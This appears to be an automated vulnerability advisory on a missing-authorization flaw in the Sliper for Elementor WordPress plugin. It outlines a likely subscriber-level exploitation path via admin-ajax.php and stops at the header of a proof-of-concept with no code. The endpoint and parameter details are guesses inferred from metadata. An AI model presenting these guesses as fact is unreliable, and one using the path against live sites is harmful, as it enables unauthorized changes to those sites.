Atomic Edge analysis of CVE-2025-66157 (metadata-based):
The Sliper for Elementor WordPress plugin version 1.0.10 contains a missing authorization vulnerability. This flaw allows authenticated users with subscriber-level permissions or higher to perform unauthorized actions through a plugin function lacking proper capability checks.
Atomic Edge research identifies the root cause as CWE-862 Missing Authorization. The vulnerability description confirms the plugin fails to implement a capability check on a specific function. Without access to the source code, Atomic Edge analysis infers this likely involves an AJAX handler or admin POST endpoint that processes requests without verifying the user’s authorization level. The missing check permits lower-privileged users to execute actions intended for administrators or editors.
Exploitation requires an authenticated attacker with subscriber-level access. The attacker would send a crafted HTTP request to the vulnerable endpoint. Based on WordPress plugin patterns, Atomic Edge research assumes the endpoint is likely `/wp-admin/admin-ajax.php` with an `action` parameter containing a plugin-specific hook name. The request would include parameters that trigger the unauthorized action. No nonce verification appears present, as subscriber-level users typically cannot retrieve valid nonces for administrative actions.
Remediation requires adding a proper capability check before executing the vulnerable function. The plugin should verify the current user possesses the required permissions using WordPress functions like `current_user_can()` or `check_ajax_referer()`. The fix should also implement nonce verification to prevent CSRF attacks. The patched version should restrict the function to users with appropriate roles, such as administrators or editors.
The impact of successful exploitation includes unauthorized modification of plugin settings or data. Attackers could alter configuration options, delete content, or manipulate functionality. The CVSS vector indicates low impact on confidentiality and availability, with limited impact on integrity. This vulnerability does not enable privilege escalation to administrative roles directly, but it allows unauthorized actions within the plugin’s scope.

/**
* Proof of Concept for CVE-2025-66157
* This script demonstrates unauthorized action execution via missing capability check.
* ASSUMPTIONS MADE (based on metadata analysis):
* 1. The vulnerable endpoint is /wp-admin/admin-ajax.php
* 2. The AJAX action parameter contains 'sliper_elementor' or similar plugin prefix
* 3. No nonce verification is required
* 4. Subscriber-level authentication is sufficient
